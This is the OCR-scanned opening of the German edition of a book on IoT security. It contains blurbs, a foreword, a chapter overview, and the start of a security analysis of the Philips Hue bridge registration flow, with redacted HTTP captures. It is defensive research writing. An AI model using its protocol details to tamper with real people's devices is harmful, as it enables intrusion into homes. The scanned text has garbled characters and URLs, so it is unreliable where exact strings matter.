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Leserstimmen zur englischen
Originalausgabe

»Nitesh Dhanjani prisentiert das IoT-Sicherheitsparadox in knappen Beispielen,
die dem Leser die realistischen Probleme vernetzter Gerate und die damit verbun-
denen Herausforderungen eindrucksvoll veranschaulichen.« — Brian Hanson,
Fiihrungskraft im Sicherheitsbereich

»Dieses Buch enthiillt Sicherheitsliicken, mit denen schon in naher Zukunft Mil-
liarden vernetzter Gerite infiziert sein werden. Es bietet praktische Anleitungen
zur Bewiltigung aufkommender Sicherheitsrisiken fiir Verbraucher, Entwickler
und Studierende gleichermaflen.« — Prof. em. Elias Houstis, Purdue University
und Universitit Thessalien (Griechenland)

»In seiner gesamten Laufbahn hat sich Dhanjani hervorgetan, indem er stets an
vorderster Front stand, wenn es um technisch anspruchsvolle Entwicklungen in
der Informationssicherheit und deren Auswirkungen auf Unternehmen und Ver-
braucher ging. In seinem Buch prisentiert er eindrucksvoll mogliche Auswirkun-
gen unzureichender Sicherheitsfunktionen auf die Gesellschaft, sofern die Risiken
nicht vom ersten Moment an beriicksichtigt werden.« — Lee . Kushner, President
L] Kushner & Associates

» Angriffe gegen das Internet of Things werden die Schlagzeilen in den kommen-
den Jahren beherrschen. Einige dieser Angriffe werden in den Medien vollkom-
men ubertrieben dargestellt werden, andere hingegen sehr viel schlimmer sein, als
die Leute glauben wollen. Dieses Buch ist ein absolut sachlicher Einstieg in eine
Welt, in der Menschen IoT-Profile erstellen und die Gerite dann angreifen.« —
Haroon Meer, Griinder von Thinkst Applied Research

»Wihrend sich die Gesellschaft noch tiber die Auswirkungen der Verbreitung von
vernetzten Gerdten austauscht, prisentiert uns Nitesh Dhanjani Beispiele aus
dem echten Leben fiir die Herausforderungen, denen wir in der Welt solcher
Gerite begegnen werden. Ein erniichternder Ausblick auf das, was uns bevor-
steht, und auf die Gerite, von denen wir iiber kurz oder lang abhingig sein wer-
den.« — Billy Rios, Griinder von Whitescope.io



vi Leserstimmen zur englischen Originalausgabe

»In diesem Buch vermittelt uns Nitesh Dhanjani auf sehr detaillierte Weise, wie
Angriffe gegen das Internet of Things ausgefiithrt werden konnen. Er zeigt uns,
warum wir die Fehler der Vergangenheit vermeiden missen. Da IoT-Gerite mit
der physischen Welt verbunden sind, konnen die Auswirkungen von Sicherheits-
licken gigantisch sein.« — Gustavo Rodriguez-Rivera, Weiterbildungsdozent am
Computer Science Department der Purdue University

»[Dieses Buch] ist ein hervorragender Ausgangspunkt fur alle, die sich fiir Bedro-
hungen und Angriffe auf vernetzte Gerite der nichsten Generation interessieren.
Dhanjani beschreibt eine Vielzahl von Anwendungen — von der Moglichkeit, mit
sintelligenten< Beleuchtungssystemen einen Stromausfall zu verursachen, bis hin
zum Aufspiiren und Entsperren eines Elektroautos von Tesla. Dabei kommen
zum Teil auch Tricks und Techniken zum Einsatz, die schon in den Neunzigern
bekannt waren. Dhanjani erweist sich in seinem gesamten Buch als Meister darin,
sowohl grundsitzliche Konstruktionsfehler als auch Mingel bei der konkreten
technischen Implementierung auf ebenso einfache wie klare Weise zu erlautern.
Fiir mich ist das Werk aufs Neue eine Bestdtigung eines der aus meiner Sicht
wichtigsten Grundsitze aus der Informationssicherheit: Je mehr sich andert,
desto weniger dndert sich.« — Saumil Shah, CEO von Net-Square
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Geleitwort

Als ich erfuhr, dass mein Freund Nitesh Dhanjani ein Buch tiber das Internet of
Things (IoT) verfasst, war ich tiberaus erfreut. SchliefSlich ist dies ein Fachgebiet,
das zumindest fiir mich gleichermafien aufregende wie erschreckende Aspekte
aufweist.

Wir horen heutzutage in den Nachrichten Tag fiir Tag von Hackern, die Sicher-
heitsfunktionen erfolgreich iberwunden haben. Aufgrund der Haufigkeit und des
Ausmafles solcher Vorfille sind wir mittlerweile ein wenig abgestumpft. Moderne
Gesellschaften wie die unsere haben mittlerweile erkannt, dass der Nutzen, den wir
durch die Akzeptanz innovativer Technologien erhalten, deren Kosten und Risiken
— zumindest kurzfristig — tibersteigen. Unser kollektives Versagen dabei, dieses
Unsicherheitsmuster endlich wirkungsvoll in Angriff zu nehmen, sollte Beweis
genug dafiir sein, dass wir den Nutzen hoher bewerten als die Risiken.

Ein wesentlicher Aspekt dieser Nutzen-Risiko-Analyse ist die Tatsache, dass
die Risiken, die in der Vergangenheit aufgetreten sind, vor allem immaterielle
Giiter betreffen: Daten und Geld.

Stellen wir uns aber nun einmal vor, welche Auswirkungen es hitte, wenn die
Risiken physisch erfahrbar wiirden: Stadte liegen tagelang im Dunkeln, medizini-
sche Gerite toten Patienten, in Kuhlschrinken verdirbt das Essen, Fahrer verlie-
ren die Kontrolle Giber ihre Autos, Flugzeuge fallen vom Himmel usw. Ob wir in
solchen Fillen weiterhin so tolerant gegeniiber technischen Ausfillen bleiben
wiirden, darf bezweifelt werden.

Ich nehme an, dass unser Konzept des Begriffs »Risiko« den Schwerpunkt vor
allem auf physische Auswirkungen legt und abstrakte Risiken eher vernachlassigt.
Dies ist vielleicht einer der Griinde dafiir, dass Risiken im Bereich der Informati-
onssicherheit fiir viele Menschen schwer zu erfassen sind. Ferner gehe ich davon
aus, dass, sobald Vorfille in diesem Bereich auch physische Konsequenzen haben,
wir die Risiken des Internet of Things gewiss tiberdenken werden.

In der »realen« Welt gibt es zahlreiche Bauvorschriften, die Anforderungen
an physische Infrastrukturen definieren, und ihre Einhaltung wird von zertifizier-
ten Technikern oder diplomierten Ingenieuren streng iiberwacht. Wann endlich
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werden wir uns Gedanken dariiber machen, was Sicherheit in einer Welt bedeu-
tet, in der Millionen und Abermillionen vernetzter Gerite vorhanden sind?

Ich kann nur hoffen, dass die Leser dieses Buches erkennen, dass die techno-
logischen Investitionszyklen, die heute eine fortlaufende Innovation gewihrleis-
ten sollen, in Bezug auf IoT-Gerite tiberdacht werden missen. Wenn wir die
aktuellen Entwicklungs- und Qualitatssteuerungsprozesse, die vor allem auf
schnelle Innovation, niedrige Kosten und kurze Produktlebenszyklen ausgelegt
sind, auf das Internet of Things anwenden, werden Sicherheit und Datenschutz
zweifellos noch starker unter die Rader kommen.

Patrick Heim

Mit tiber 20 Jahren Erfahrung ist Patrick Heim ein Veteran der Informationssicherheit.
Er hat bereits eine Vielzahl unterschiedlicher Positionen in den Bereichen Auditing,
Consulting und Penetration Testing sowie als Chief Trust Officer und Chief Information
Security Officer bekleidet.
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Mit dem bevorstehenden Zeitalter des Internet of Things (IoT) werden die Gren-
zen zwischen dem physischen und dem virtuellen Leben immer stirker verwischt
werden. Angriffe gegen unsere Onlineprasenzen werden dann auch Risiken fiir
unsere Sicherheit im »wirklichen« Leben darstellen. In der Vergangenheit waren
fiir Angriffe auf unsere Giiter physische Handlungen erforderlich, was daran lag,
dass der Zugriff auf die betreffende Infrastruktur tiber das Internet beschriankt
war. Dies dndert sich gerade, denn die Zukunft mit Milliarden vernetzter Dinge
stellt einen dramatischen Wechsel dar.

Im vorliegenden Buch werden wir einen neugierigen Blick auf die Moglich-
keiten des Missbrauchs einiger sehr beliebter ToT-Gerite werfen, die bereits heute
erhiltlich sind. Wir werden uns ansehen, wie sich mit einem einfachen Angriff
gegen LED-Leuchten ein umfassender und anhaltender Stromausfall verursachen
lasst, warum physische Sicherheit und Privatsphire durch falsche Entscheidun-
gen im Sicherheitsbereich erheblich beeintrichtigt sind und inwieweit Ihr Leben
durch Sicherheitsmangel bei leistungsfahigen Elektrofahrzeugen gefahrdet ist.

Ich mochte mit diesem Buch zeigen, welche spiirbaren Risiken durch die IoT-
Gerite entstehen, von denen wir in Zukunft immer starker abhingig sein werden.
Wenn wir beginnen, die Ursachen fiir die Schwachstellen bei bereits erhiltlichen
Geriten zu verstehen, konnen wir einen neuen Weg aufzeigen, solche Gerite in
Zukunft sicherer zu machen und unser Leben mit ihnen zu bereichern.

Allerdings widmen sich gewiefte Angreifer bereits heute der Entdeckung und
Anwendung solcher Schwachstellen, und sie werden auch in Zukunft Mittel und
Wege finden, ihr Wissen auf jede nur denkbare Weise zu missbrauchen. Das Spek-
trum dieser Personen reicht vom neugierigen Oberstufenschiiler bis hin zu teils
privaten, teils auch staatlich unterstiitzten Verbrecherbanden, deren Ziel die Ter-
rorisierung Einzelner wie auch ganzer Bevolkerungsgruppen ist. Die Schwachstel-
len bei IoT-Systemen konnen die Privatsphire der Menschen in groflem Stile zer-
storen und auch physische Schiaden hervorrufen. Es steht einiges auf dem Spiel.
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Zielgruppe

Dieses Buch ist fur all jene Leser gedacht, die daran interessiert sind, in den der-
zeit erhiltlichen IoT-Geriten Sicherheitsliicken zu entdecken. Hierbei werden Sie
mit der Denkweise von Angreifern vertraut gemacht, die ebenfalls eifrig nach
Wegen suchen, solche Gerite zu ihrem Vorteil zu nutzen. Indem Sie sich mit den
hinterhiltigen Taktiken jener beschiftigen, die es auf die Welt des Internet of
Things abgesehen haben, erhalten Sie einen umfassenden Einblick in die Vorge-
hensweise und die Psychologie der Angreifer. Auf diese Weise lernen Sie nicht nur,
wie Sie sich schiitzen konnen, sondern konnen auch zur Entwicklung sicherer
IoT-Produkte beitragen.

Aufbau

Dieses Buch ist in folgende Kapitel untergliedert:

Kapitel 1: Licht aus! — Angriff auf drahtlose LED-Leuchten

Am Anfang dieses Buches steht eine umfassende Abhandlung zu Aufbau und
Architektur eines der beliebtesten IoT-Produkte, die derzeit auf dem Markt
erhiltlich sind: das Beleuchtungssystem Philips Hue (http://meethue.com). In die-
sem Kapitel schildern wir verschiedene Schwachstellen des Systems. Hierzu geho-
ren grundlegende Aspekte wie die Passwortsicherheit und die Moglichkeit, mit-
hilfe von Malware schwache Autorisierungsmechanismen zu umgehen und auf
diese Weise dauerhafte Ausfille zu verursachen. Ferner werden wir uiber die
Komplexitit der Vernetzung unserer Onlineprofile (z.B. auf Facebook) mit IoT-
Geriten sprechen, denn hierdurch konnen plattformiibergreifende Sicherheitsli-
cken entstehen.

Kapitel 2: Wie man sich elektronisch Zutritt verschafft -Tiirschlosser manipulieren

In diesem Kapitel werfen wir einen Blick auf Sicherheitsliicken bei marktiiblichen
elektronischen Tiirsperren, ihre Funkmechanismen und die Integration mit
Mobilgeriten. Auflerdem prisentieren wir aktuelle Fallstudien von Angreifern,
die diese Liicken ausgenutzt haben, um Einbriiche zu begehen.

Kapitel 3: Funkverkehr im Fadenkreuz - Babyfone und andere Gerate kapern

Sicherheitsmingel bei ferngesteuerten Babyfonen sind Gegenstand dieses Kapi-
tels. Wir werden uns echte Schwachstellen, die von Angreifern tatsichlich genutzt
wurden, genauer ansehen und feststellen, wie einfache Konstruktionsfehler die
ganze Familie unnotig in Gefahr bringen.
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Kapitel 4: Verschwommene Grenzen - wo physischer und virtueller Raum sich treffen

Unternehmen wie SmartThings bieten zahlreiche IoT-Gerédte und Sensoren zum
Schutz der eigenen Wohnung an. So konnen Sie beispielsweise eine Benachrichti-
gung erhalten, wenn Thre Haustiire nach Mitternacht ge6ffnet wird. Die Tatsa-
che, dass solche Gerate fir ihren Betrieb auf das Internet angewiesen sind, hat
unsere Abhingigkeit von Netzwerkverbindungen erhoht — die Grenzen zwischen
physischer Welt und Cyberspace verschwimmen. In diesem Kapitel sehen wir uns
an, wie es um die Sicherheit von SmartThings-Produkten bestellt ist und wie sich
mit ihrer Hilfe Gerite anderer Hersteller sicher bedienen lassen.

Kapitel 5: Angriff auf die Mattscheibe - iiber die Anfalligkeit von Smart-TVs

Moderne Fernsehgerite sind im Grunde genommen nichts anderes als Computer
mit leistungsfihigen Betriebssystemen wie Linux. Sie verbinden sich mit dem hei-
mischen WLAN und unterstitzen Dienste wie etwa Videostreams, Videokonfe-
renzen, soziale Netzwerke und Instant Messaging. In diesem Kapitel widmen wir
uns den Sicherheitslicken am Beispiel von Samsung-Fernsehgeriten, um die
Hauptursachen von Schwachstellen und mogliche Auswirkungen auf Daten-
schutz und personliche Sicherheit zu identifizieren.

Kapitel 6: Strom statt Benzin - Sicherheitsanalyse von vernetzten Fahrzeugen

Auch Autos sind »Dinge«, die heutzutage der Fernkommunikation und Fernsteu-
erung offenstehen. Anders als bei vielen anderen Geraten kann die Vernetzung
des Autos wichtige Sicherheitsfunktionen erfiillen; Sicherheitsliicken in Fahrzeu-
gen hingegen konnen lebensgefihrlich sein. In diesem Kapitel lernen wir ein
drahtloses System mit geringer Reichweite kennen und beurteilen umfangreiche
Forschungen fuhrender Fachexperten. SchliefSlich analysieren und bewerten wir
Funktionen der Model-S-Limousine von Tesla sowie mogliche Verbesserungspo-
tenziale in Sachen Sicherheit bei diesem Fahrzeugtyp.

Kapitel 7: Sicheres Prototyping - littleBits und cloudBit

Beim Entwerfen eines IoT-Produkts besteht der erste wichtige Schritt darin, einen
Prototyp zu erstellen. Auf diese Weise soll sichergestellt werden, dass die Idee kon-
zeptionell umgesetzt werden kann, alternative Entwurfskonzepte untersucht wer-
den konnen und Spezifikationen ermittelt werden, um eine belastbare Geschifts-
entscheidung finden zu konnen. Extrem wichtig ist dabei die Implementierung
von Sicherheitsfunktionen bereits im ersten Prototyp und in allen nachfolgenden
Varianten bis hin zum finalen Produkt. Macht man sich tiber Sicherheit erst dann
Gedanken, wenn das Produkt fertig ist, dann geht man in puncto Verbrauchersi-
cherheit und Datenschutz ein hohes Risiko ein. In diesem Kapitel erstellen wir
einen Prototyp fir eine Tiirklingel mit SMS-Funktionalitit mithilfe der Proto-
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typentwicklungsplattform littleBits. Dabei hilft uns das cloudBit-Modul dabei,
Fernsteuerungsmoglichkeiten per Funk einzubauen. Am Ende steht der Prototyp
eines IoT-Konzepts fur eine Tirklingel, bei deren Betdtigung eine SMS an den
Benutzer versandt wird. Die Beschreibung der Schritte bei der Prototypentwick-
lung beriicksichtigt auch Sicherheitsfragen und -anforderungen ebenso wie wich-
tige Sicherheitsaspekte, die von Produktentwicklern zu beachten sind.

Kapitel 8: Zukunftssicherheit - ein Dialog liber kiinftige Angriffsvarianten

Im Laufe der kommenden Jahre wird unsere Abhingigkeit von IoT-Geriten einen
massiven Hohenflug erleben. In diesem Kapitel skizzieren wir realistische Szena-
rios fur Angriffe, die wir fiir die Zukunft erwarten.

Kapitel 9: Zwei Szenarios - Absichten und ihre Folgen

In diesem Kapitel betrachten wir zwei verschiedene hypothetische Szenarios, um
darauf basierend einschitzen zu konnen, inwieweit Menschen sicherheitsrele-
vante Vorfille beeinflussen konnen. Zunachst untersuchen wir den Versuch eines
leitenden Mitarbeiters in einem grofen Unternehmen, mithilfe von » Buzzwords«
aus dem Bereich der IoT-Sicherheit den Unternehmensvorstand zu beeindrucken.
Im zweiten Szenario sehen wir uns an, wie ein aufstrebender IoT-Provider mit
Forschern und Journalisten zu interagieren versucht, um die Integritit seines
Unternehmens aufrechtzuerhalten. Das Kapitel soll vor allem veranschaulichen,
dass die Auswirkungen sicherheitsrelevanter Szenarios auch und gerade von den
Absichten und Handlungen der beteiligten Personen beeinflusst werden.
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1 Lichtaus!
— Angriff auf drahtlose LED-Leuchten

Der grofRe Stromausfall des Jahres 2003! legte das Leben in Teilen des Mittleren
Westens und des Nordostens der USA sowie in der kanadischen Provinz Ontario
weitgehend lahm. Etwa 45 Millionen Menschen blieben zwei Tage ohne Strom.
Allein in New York zihlte die Feuerwehr 3000 Anrufe aufgrund des unsachge-
miflen Umgangs mit Kerzen. 60 Feueralarme wurden ausgelost, und es waren
zwei Todesopfer zu beklagen, weil versucht worden war, das fehlende Licht mit
offenem Feuer zu ersetzen. In Michigan fithrten brennende Kerzen wihrend des
»Blackouts« ebenfalls zu einem Grofsfeuer, ein Haus brannte bis auf die Grund-
mauern nieder.

Das Erschreckende daran war nicht das Auftreten des Stromausfalls an sich,
sondern die Erkenntnis, in welchem MafSe in den Industrielindern die Versor-
gung etwa mit Elektrizitit als selbstverstandlich betrachtet wird und wie grof§ die
Abhingigkeit davon ist. In Momenten, in denen uns solche grundlegenden Ver-
sorgungsgiiter weggenommen werden, sind wir gezwungen, tiber ihr stindiges
Vorhandensein nachzudenken und dieses schiatzen zu lernen. Wir driicken auf
einen Schalter und erwarten das sofortige Aufleuchten des elektrischen Lichts.
Wir 6ffnen den Kithlschrank und gehen davon aus, dass unsere Lebensmittel und
Getrinke dort angemessen gekihlt auf uns warten. Wir betreten unsere Woh-
nung und erwarten zu jeder Zeit eine angenehme Temperatur dank Heizung und
Klimaanlage.

Dabei ist es gerade einmal knapp hundert Jahre her, seit wir herausgefunden
haben, wie man Strom erzeugt. Davor wurden Hiuser mit Petroleumlampen
beleuchtet und mit Ofen beheizt. Unsere gegenwirtige Abhingigkeit von der
Elektrizitdt dagegen ist schier unfassbar: Fillt der Strom aus, kommen unsere
Stadte und Unternehmen innerhalb von Sekunden zum Stillstand.

Die Vereinigten Staaten werden liber insgesamt drei miteinander verbundene
Stromnetze versorgt, die den Strom im Land verteilen: die Eastern Interconnec-
tion, die Western Interconnection und die Texas Interconnection.? Diese Systeme
sind durch die Kommunikation zwischen den Versorgern und ihren Ubertra-

1. hup://bit.ly/2003_blackout
2. http:/lwww.eia.govlenergy_in_brieflarticle/power_grid.cfm
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gungssystemen verbunden, um gemeinsam vom Bau groflerer Generatoren und
der Bereitstellung von Elektrizitit zu niedrigeren Kosten profitieren zu konnen.

In den Industrielindern stehen und fallen die Volkswirtschaften und das
Wohl der Biirger mit dem Vorhandensein funktionsfihiger Stromnetze. Immer
haufiger wird die Technologie, die solchen Netzen zugrunde liegt (einschliefSlich
Generatoren und Transformatoren), mithilfe von Computern bedient, und die
Funktionalitit kann iiber Computernetze ferngesteuert werden. Demzufolge ist
es wohl nur allzu verstiandlich, dass die Sicherheit dieser Systeme vor Angriffen
aus dem Cyberspace? ein Aspekt ist, iiber den viel nachgedacht wird.

Doch nicht nur die Sicherheit des Stromnetzes ist wichtig: In der aufkommen-
den Ara von IoT-Verbraucherprodukten muss noch ein anderes Technologie-
okosystem wirksam geschiitzt werden: die IoT-Produkte selbst. Es sind heute
bereits verschiedene Produkte erhiltlich, die die traditionelle Beleuchtung mit
Glithlampen ersetzen sollen und drahtlos ferngesteuert werden kénnen. Wenn
wir derartige loT-Gerite in unsere Wohnungen und Biiros einbauen, miissen wir
Gewissheit haben, dass nicht nur die zugrunde liegende Infrastruktur (wie etwa
das Stromnetz), sondern auch diese Systeme selbst in puncto Sicherheit zuverlas-
sig konstruiert sind.

In diesem Kapitel werden wir Konstruktion und Architektur eines der derzeit
populirsten ToT-Produkte auf dem Markt unter die Lupe nehmen: das Beleuch-
tungssystem Hue des niederldndischen Herstellers Philips (http://meethue.com).
In unserer Gesellschaft ist Beleuchtung aus Griinden der Sicherheit und Bequem-
lichkeit unentbehrlich; deswegen ist es durchaus sinnvoll, den Schwerpunkt in
diesem ersten Kapitel auf ein beliebtes IoT-Produkt dieser Kategorie zu legen. Wir
werden Betrieb und Kommunikation des Produkts aus sicherheitstechnischer
Sicht analysieren und versuchen, Schwachstellen ausfindig zumachen. Nur auf
der Grundlage einer umfassenden Analyse konnen wir die bestehenden Sicher-
heitsliicken des Produkts serios diskutieren und herausfinden, wie sich in
Zukunft sichere [oT-Gerite entwickeln lassen.

1.1  Warum Hue?

Wir haben bereits gesehen, warum Beleuchtung fiir die Sicherheit und Bequem-
lichkeit in unserer Zivilisation eine so wichtige Rolle spielt. Zu Beginn unserer
Analyse von [oT-Geriten in diesem Bereich werden wir uns konkret mit dem Hue
Personal Lighting System von Philips auseinandersetzen, da es sich ausgespro-
chen grofser Beliebtheit erfreut. Es ist einer der ersten IoT-Beleuchtungsartikel,
die eine gewisse Popularitit errungen haben, und wird sowohl hinsichtlich seiner
Architektur wie auch seiner Konstruktion mit hoher Wahrscheinlichkeit ahnliche
Produkte der Konkurrenz inspirieren. Aus diesem Grund kann uns eine Sicher-

3. bttp://bit.ly/next_power_disaster
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heitsanalyse des Hue-Beleuchtungssystem das Verstindnis dafiir vermitteln, wel-
che Sicherheitsmechanismen heutzutage bei IoT-Produkten in diesem Bereich
zum Einsatz kommen, welche moglichen Schwachstellen vorhanden und welche
Anderungen erforderlich sind, um solche Produkte in Zukunft sicher zu machen.
Das Hue-Beleuchtungssystem ist bei verschiedenen Onlinehidndlern und Bau-
markten erhaltlich. Wie Abbildung 1-1 zeigt, umfasst das Starterpaket drei funk-
steuerbare Leuchtkorper und eine Bridge. Fiir die Lampen lisst sich iiber die
Hue-Website oder eine iOS-App? eine von 16 Millionen Farben festlegen.

""'””,f_l)_?

Abb. 1-1 Hue-Starterpaket mit Bridge und drei funksteuerbaren Leuchtkérpern

Die Bridge wird tiber ein Ethernetkabel an den Router des Nutzers angeschlos-
sen. Hierdurch entsteht eine ausgehende Verbindung zur Hue-Internetinfrastruk-
tur; wir werden darauf im Folgenden noch eingehen. Die Bridge kommuniziert
nun iiber das auf dem Standard IEEE 802.15.4° aufbauende ZigBee-Protokoll®
direkt mit den LED-Leuchten. ZigBee ist ein kostengiinstiges Protokoll mit gerin-
ger Leistungsaufnahme, was es fir die Kommunikation von IoT-Geriten unterei-
nander pradestiniert.

4. bep:/lbit.ly/bue_app
5. hteps:/lde.wikipedia.org/wiki/IEEE_802.15.4
6.  http:/lwww.zigbee.org
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Befindet sich der Nutzer im lokalen Netzwerk, dann stellt die iOS-App eine
direkte Verbindung mit der Bridge her, und es kénnen Befehle zum Andern des
Leuchtzustands abgesetzt werden. Greift der Nutzer hingegen remote oder tber
die Hue-Website zu, dann werden die Anweisungen iiber die Hue-Internetinfra-
struktur versendet.

Im weiteren Verlauf dieses Kapitels werden wir die zugrunde liegende Sicher-
heitsarchitektur untersuchen, um die Implementierung zu verstehen und Schwi-
chen in der Konstruktion zu erkennen. Wir werden ein grundlegendes Verstandnis
der Sicherheitsmingel vermitteln, die beliebte IoT-basierte Beleuchtungssysteme,
wie sie gegenwirtig auf dem Markt erhiltlich sind, beeintrachtigen kénnen.

1.2 Leuchten iiber die Website-Oberflache steuern

Ein empfehlenswerter Ansatz zur Offenlegung von Sicherheitsliicken besteht
darin, sich mit der zugrunde liegenden technischen Architektur vertraut zu
machen — am besten mithilfe einer Use-Case-Analyse (Analyse von Anwendungs-
fillen). Der einfachste Anwendungsfall des Hue-Systems besteht in der Onlinere-
gistrierung eines Kontos auf der Hue-Website und der Verkniipfung der Bridge
mit diesem Konto. Danach kann der Nutzer mithilfe seines Kontos die Leuchtkor-
per fernsteuern. In diesem Abschnitt werden wir uns anschauen, wie diese Ver-
kniipfung der Bridge mit dem Benutzerkonto erfolgt und wie sich die Lampen
iber die Website steuern lassen. Nachdem wir gesehen haben, wie dieser Anwen-
dungsfall technisch implementiert ist, werden wir die zugehorigen Sicherheitspro-
bleme und Moglichkeiten ihrer Ausnutzung genauer betrachten.

Zuallererst muss sich jeder Nutzer auf dem Hue-Portal tiber ein kostenloses
Konto registrieren7 (siche Abb. 1-2). Er muss einen Benutzernamen auswahlen,
eine E-Mail-Adresse eingeben und ein mindestens sechsstelliges Passwort erstel-
len.

7. bttp://bit.ly/hue_registration
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CONTINUE 3

Abb. 1-2 Registrierung auf der Hue-Website

Im zweiten Schritt versucht die Website nun, die Bridge zu lokalisieren und sie mit
dem vom Nutzer erstellten Konto zu verkniipfen. Wie Abbildung 1-3 zeigt,
erscheint auf der Website dann die Meldung »We found your bridge« bzw.
»Bridge gefunden« (in der deutschen Version).

ann Philips hue

[+ | (G] (2] (B e e womemeetnue.com

JOINING HUE OMNLINE IS AS EASY A51,2.3

Create account We found your bridge
se‘ E'Er’d‘| !ng UP Now just activate your bridge by pressing the big button in the midde,

Off you go Halp me GET STARTED

-

504

1 want to add my [ridos later

o I
Abb. 1-3 Bridge mit der Website verkn(ipfen

Die Website erkennt, dass die Bridge gefunden wurde, weil die Bridge standard-
miflig mit dem Hue-Backend eine Verbindung herstellt, um ihre ID (jeder physi-
schen Bridge wird bei der Herstellung eine eindeutige ID zugewiesen), die interne
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IP-Adresse und die mit der ID identische MAC-Adresse als Broadcast zu versen-
den. Zu diesem Zweck sendet die Bridge eine POST-Anfrage an dcs.cb.philips.com:

POST /Dcs.ConnectionServiceHTTP/1.0

Host: dcs.ch.philips.com:8080

Authorization: CBAuth Type="SS0", Client="[DELETED]", RequestNr="16",
Nonce="[DELETED]", SSOToken="[DELETED]", Authentication="[DELETED]
Content-Type: application/CB-MessageStream; boundary=ICPMimeBoundary
Transfer-Encoding: Chunked

304

--ICPMimeBoundary

Content-Type: application/CB-Encrypted; cipher=AES
Content-Length:0000000672

[DELETED]

Hierauf erhilt die Bridge vom Server folgende Antwort:

HTTP/1.0 200 OK

WWW-Authenticate : CBAuth Nonce="[DELETED]"

Connection : close

Content-Type : application/CB-MessageStream; boundary="ICPMimeBoundary"
Transfer-Encoding : Chunked

001

HINWEIS

Als [DELETED] gekennzeichnete Codeabschnitte sind Inhalte, die aus Griinden der Ver-
traulichkeit und Integritat der fiir die Tests verwendeten Hardware und Konten gel6scht
wurden. Das Entfernen der entsprechenden Zeichen hat jedoch keine nennenswerten
Auswirkungen auf die Nachvollziehbarkeit des Beispiels.

Die auf die POST-Anfrage erhaltene Antwort 001 zeigt an, dass die Hue-Infrastruk-
tur die Bridge registriert hat, indem sie die zugehorige ID mit der Absender-IP-
Adresse der HTTP-Verbindung verknupft hat.

Nach der Installation des Hue-Systems konnen Sie aus Threm Heimnetz her-
aus die Seite https:/lwww.meethue.comlapi/nupnp besuchen, um festzustellen,
welche Informationen von Ihrer Bridge an die Hue-Infrastruktur gemeldet wur-
den. Wie Abbildung 1-4 zeigt, werden dort die ID der Bridge nebst ihrer MAC-
und der internen IP-Adresse angezeigt. Die Hue-Website sammelt die relevanten
Informationen zu den Bridges (IDs, interne IP-Adressen und MAC-Adressen) und
ordnet diese jeweils der Absender-IP-Adresse der TCP-Verbindung zu, wenn Sie
die Hue-Website besuchen. Aus diesem Grund meldet die Website wie oben gese-
hen brav »We found your bridge«.
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8006 https://www.meethue.com/api/nupnp i
|| || [ 2] [ hups:/ /www.meethue.com/api/nupnp ¢ | Reader |

[{"id": "[SSSSN . " internalipaddress”:"10.0.1.2","macaddress" : | | I

Abb. 1-4 ID, interne IP-Adresse und MAC-Adresse der Bridge

Damit der Nutzer die Erlaubnis erhilt, die Bridge fernzusteuern, muss er inner-
halb von 30 Sekunden die Taste auf der Bridge betitigen. Der Nachweis des phy-
sischen Zugangs zur Bridge gegentiber dem Server stellt eine zusatzliche Sicher-
heitsebene dar.

Nach dem Anzeigen der Meldung in Abbildung 1-3 setzt der Webbrowser die
folgende GET-Anfrage ab:

GET /en-US/user/isbuttonpressed HTTP/1.1

Host: www.meethue.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_8 3)
AppleWebKit/536.28.10

(KHTML, Tike Gecko) Version/6.0.3 Safari/536.28.10
Accept: */*

DNT: 1

X-Requested-With: XMLHttpRequest

Referer: https://www.meethue.com/en-US/user/Tinkbridge
Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: [DELETED]

Connection: keep-alive

Proxy-Connection: keep-alive

Diese GET-Anfrage wartet 30 Sekunden, damit der Nutzer geniigend Zeit hat, die
Taste auf der Bridge zu betidtigen. Tut er dies, dann sendet die Bridge zur Bestiti-
gung eine POST-Anfrage an dcp.cpp.philips.com. Nun hat der Nutzer den physi-
schen Besitz der Bridge nachgewiesen, woraufhin der Server die POST-Anfrage
positiv beantwortet:

HTTP/1.1 200 OK

Content-Type: application/json; charset=utf-8

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Set-Cookie: PLAY_FLASH=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_ERRORS=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: [DELETED]

Vary: Accept-Encoding
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Date: Mon, 29 Apr 2013 23:30:06 GMT
Server: Google Frontend
Content-Length: 4

true

Diese Serverantwort zeigt an, dass die Taste tatsichlich gedriickt wurde. Darauf-
hin sendet der Browser die folgende GET-Anfrage, um die Einrichtung abzuschlie-

fen:

GET /en-US/user/setupcomplete HTTP/1.1

Host: www.meethue.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_8 3)
AppleWebKit/536.28.10

(KHTML, Tike Gecko) Version/6.0.3 Safari/536.28.10
Accept: text/html,application/xhtml+xml,application/xml;
DNT: 1

Referer: https://www.meethue.com/en-US/user/Tinkbridge
Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: [DELETED]

Connection: keep-alive

Proxy-Connection: keep-alive

Auf diese GET-Anfrage hin Gibermittelt der Server viele verschiedene Details:

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8; char-set=utf-8

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Set-Cookie: PLAY_FLASH=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_ERRORS=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_SESSION="[DELETED]-%00ip_address%3A[DELETED] [DELETED]
;Path=/

Vary: Accept-Encoding

Date: Mon, 29 Apr 2013 23:30:08 GMT

Server: Google Frontend

Content-Length: 47369

[DELETED]

app.data.bridge = {"clientMessageState":[DELETED],"config":{"1ights":{"15":
{"name":"Bathroom 2","state":{"bri":254,"effect":"none","sat":144,"reachab]l
e":true,"alert":"none", "hue":14922,"colormode":"ct","on":false,"ct":369,"xy
":[0.4595,0.4105]},"modelid":"LCTO01", "swversion":"65003148","pointsymbol":
{"3":"none","2":"none","1":"none","7":"none","6": "none","5" :"none","4":"non
e","8":"none"},"type":"Extended color Tight"},"13":{"name":"Bathroom 4","st
ate":{"bri":254,"effect":"none","sat":144,"reachable":true,"alert": "none","
hue":14922,"colormode":"ct","on":false,"ct":369,"xy":[0.4595,0.4105] } , "mode
